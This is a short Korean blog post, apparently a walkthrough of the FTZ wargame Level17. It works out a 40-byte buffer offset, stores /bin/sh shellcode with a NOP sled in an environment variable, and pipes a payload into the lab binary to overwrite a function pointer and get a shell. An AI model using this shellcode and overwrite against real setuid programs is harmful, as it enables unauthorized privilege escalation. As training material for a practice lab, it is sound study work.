ii4gsp
FTZ - Level17 본문
level16과 비슷하다 shell을 실행시키는 함수 부분이 없다.
쉘 코드를 환경변수에 등록하여 문제를 풀면 될 것 같다.
<main+24> - 0xffffffc8은 [ebp-56]이다.
buf에서 ebp까지의 거리다.
<main+57> - 0xfffffff0은 [ebp-16]이다.
call에서 ebp까지의 거리다.
buf에서 call까지의 거리 = 56 - 16 = 40
export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
쉘 코드를 환경변수에 등록해주고
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
c언어 소스코드를 작성하여 쉘 코드의 주소를 확인하여 페이로드를 작성 할 수 있다.
buf ~ call + 쉘코드 주소
payload
(python -c 'print "\x90" * 40 + "\xee\xfe\xff\xbf"';cat) | ./attackme
'시스템 해킹 > FTZ' 카테고리의 다른 글
FTZ - Level19 (0) | 2020.01.11 |
---|---|
FTZ - Level18 (0) | 2020.01.11 |
FTZ - Level16 (0) | 2020.01.10 |
FTZ - Level15 (0) | 2020.01.10 |
FTZ - Level14 (0) | 2020.01.09 |
Comments